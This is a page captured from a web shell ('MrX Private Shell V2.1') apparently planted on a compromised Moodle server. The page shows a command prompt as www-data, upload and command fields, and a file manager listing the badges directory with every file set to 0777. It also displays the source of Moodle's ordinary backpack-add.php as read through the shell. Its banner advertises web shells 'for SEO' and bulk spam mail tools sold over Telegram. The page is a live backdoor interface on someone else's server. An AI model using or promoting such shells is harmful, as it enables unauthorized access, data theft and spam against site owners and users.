__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Optionally award a badge and redirect to the my badges page.
 *
 * @package    core_badges
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

require_once(__DIR__ . '/../config.php');
require_once($CFG->libdir . '/badgeslib.php');

require_login();

$userbackpack = badges_get_user_backpack();
if (badges_open_badges_backpack_api($userbackpack->id) != OPEN_BADGES_V2) {
    throw new coding_exception('No backpacks support Open Badges V2.');
}

$id = required_param('hash', PARAM_ALPHANUM);

$PAGE->set_url('/badges/backpack-add.php', array('hash' => $id));
$PAGE->set_context(context_system::instance());
$output = $PAGE->get_renderer('core', 'badges');

$issuedbadge = new \core_badges\output\issued_badge($id);
if (!empty($issuedbadge->recipient->id)) {
    // The flow for issuing a badge is:
    // * Create issuer
    // * Create badge
    // * Create assertion (Award the badge!)

    // With the introduction OBv2.1 and MDL-65959 to allow cross region Badgr imports the above (old) procedure will
    // only be completely performed if both the site and user backpacks conform to the same apiversion.
    // Else we will attempt at pushing the assertion to the user's backpack. In this case, the id set against the assertion
    // has to be a publicly accessible resource.

    // Get the backpack.
    $badgeid = $issuedbadge->badgeid;
    $badge = new badge($badgeid);
    $backpack = $DB->get_record('badge_backpack', array('userid' => $USER->id));
    $userbackpack = badges_get_site_backpack($backpack->externalbackpackid, $USER->id);
    $assertion = new core_badges_assertion($id, OPEN_BADGES_V2);
    $assertiondata = $assertion->get_badge_assertion(false, false);
    $assertionid = $assertion->get_assertion_hash();
    $assertionentityid = $assertiondata['id'];
    $badgeadded = false;
    if (badges_open_badges_backpack_api() == OPEN_BADGES_V2) {
        $sitebackpack = badges_get_site_primary_backpack();
        $api = new \core_badges\backpack_api($sitebackpack);
        $response = $api->authenticate();

        // A numeric response indicates a valid successful authentication. Else an error object will be returned.
        if (is_numeric($response)) {
            // Create issuer.
            $issuer = $assertion->get_issuer();
            if (!($issuerentityid = badges_external_get_mapping($sitebackpack->id, OPEN_BADGES_V2_TYPE_ISSUER, $issuer['email']))) {
                $response = $api->put_issuer($issuer);
                if (!$response) {
                    throw new moodle_exception('invalidrequest', 'error');
                }
                $issuerentityid = $response->id;
                badges_external_create_mapping($sitebackpack->id, OPEN_BADGES_V2_TYPE_ISSUER, $issuer['email'],
                    $issuerentityid);
            }
            // Create badge.
            $badge = $assertion->get_badge_class(false);
            $badgeid = $assertion->get_badge_id();
            if (!($badgeentityid = badges_external_get_mapping($sitebackpack->id, OPEN_BADGES_V2_TYPE_BADGE, $badgeid))) {
                $response = $api->put_badgeclass($issuerentityid, $badge);
                if (!$response) {
                    throw new moodle_exception('invalidrequest', 'error');
                }
                $badgeentityid = $response->id;
                badges_external_create_mapping($sitebackpack->id, OPEN_BADGES_V2_TYPE_BADGE, $badgeid,
                    $badgeentityid);
            }

            // Create assertion (Award the badge!).
            $assertionentityid = badges_external_get_mapping(
                $sitebackpack->id,
                OPEN_BADGES_V2_TYPE_ASSERTION,
                $assertionid
            );

            if ($assertionentityid && strpos($sitebackpack->backpackapiurl, 'badgr')) {
                $assertionentityid = badges_generate_badgr_open_url(
                    $sitebackpack,
                    OPEN_BADGES_V2_TYPE_ASSERTION,
                    $assertionentityid
                );
            }

            // Create an assertion for the recipient in the issuer's account.
            if (!$assertionentityid) {
                $response = $api->put_badgeclass_assertion($badgeentityid, $assertiondata);
                if (!$response) {
                    throw new moodle_exception('invalidrequest', 'error');
                }
                $assertionentityid = badges_generate_badgr_open_url($sitebackpack, OPEN_BADGES_V2_TYPE_ASSERTION, $response->id);
                $badgeadded = true;
                badges_external_create_mapping($sitebackpack->id, OPEN_BADGES_V2_TYPE_ASSERTION, $assertionid,
                    $response->id);
            } else {
                // An assertion already exists. Make sure it's up to date.
                $internalid = badges_external_get_mapping(
                    $sitebackpack->id,
                    OPEN_BADGES_V2_TYPE_ASSERTION,
                    $assertionid,
                    'externalid'
                );
                $response = $api->update_assertion($internalid, $assertiondata);
                if (!$response) {
                    throw new moodle_exception('invalidrequest', 'error');
                }
            }
        }
    }

    // Now award/upload the badge to the user's account.
    // - If a user and site backpack have the same provider we can skip this as Badgr automatically maps recipients
    // based on email address.
    // - This is only needed when the backpacks are from different regions.
    if ($assertionentityid && !badges_external_get_mapping($userbackpack->id, OPEN_BADGES_V2_TYPE_ASSERTION, $assertionid)) {
        $userapi = new \core_badges\backpack_api($userbackpack, $backpack);
        $userapi->authenticate();
        $response = $userapi->import_badge_assertion($assertionentityid);
        if (!$response) {
            throw new moodle_exception('invalidrequest', 'error');
        }
        $assertionentityid = $response->id;
        $badgeadded = true;
        badges_external_create_mapping($userbackpack->id, OPEN_BADGES_V2_TYPE_ASSERTION, $assertionid,
            $assertionentityid);
    }

    $response = $badgeadded ? ['success' => 'addedtobackpack'] : ['warning' => 'existsinbackpack'];
    redirect(new moodle_url('/badges/mybadges.php', $response));
} else {
    redirect(new moodle_url('/badges/mybadges.php'));
}

Filemanager

Name Type Size Permission Actions
amd Folder 0777
classes Folder 0777
criteria Folder 0777
lib Folder 0777
templates Folder 0777
tests Folder 0777
UPGRADING.md File 1.84 KB 0777
action.php File 2.68 KB 0777
alignment.php File 4.66 KB 0777
alignment_action.php File 1.54 KB 0777
alignment_form.php File 4.18 KB 0777
assertion.php File 2.54 KB 0777
award.php File 8.93 KB 0777
backpack-add.php File 6.96 KB 0777
backpack-connect.php File 2.38 KB 0777
backpack-export.php File 2.31 KB 0777
backpackemailverify.php File 3.63 KB 0777
backpacks.php File 3.68 KB 0777
badge.php File 3.29 KB 0777
badge_json.php File 5.07 KB 0777
badgeclass.php File 1.96 KB 0777
criteria.php File 3.73 KB 0777
criteria_action.php File 3.38 KB 0777
criteria_form.php File 3.97 KB 0777
criteria_settings.php File 4.81 KB 0777
edit.php File 6.6 KB 0777
endorsement.php File 3.86 KB 0777
endorsement_form.php File 4.16 KB 0777
endorsement_json.php File 2.52 KB 0777
external.php File 3.27 KB 0777
image_author_json.php File 1.79 KB 0777
index.php File 6.48 KB 0777
issuer_json.php File 1.78 KB 0777
lib.php File 4.93 KB 0777
mybackpack.php File 7.1 KB 0777
mybadges.php File 4 KB 0777
newbadge.php File 1.36 KB 0777
overview.php File 3.06 KB 0777
preferences.php File 2.09 KB 0777
preferences_form.php File 1.72 KB 0777
recipients.php File 2.91 KB 0777
related.php File 4.07 KB 0777
related_action.php File 1.54 KB 0777
related_form.php File 4.23 KB 0777
renderer.php File 49.09 KB 0777
upgrade.txt File 4.63 KB 0777
upgradelib.php File 1.71 KB 0777
view.php File 1.37 KB 0777
Filemanager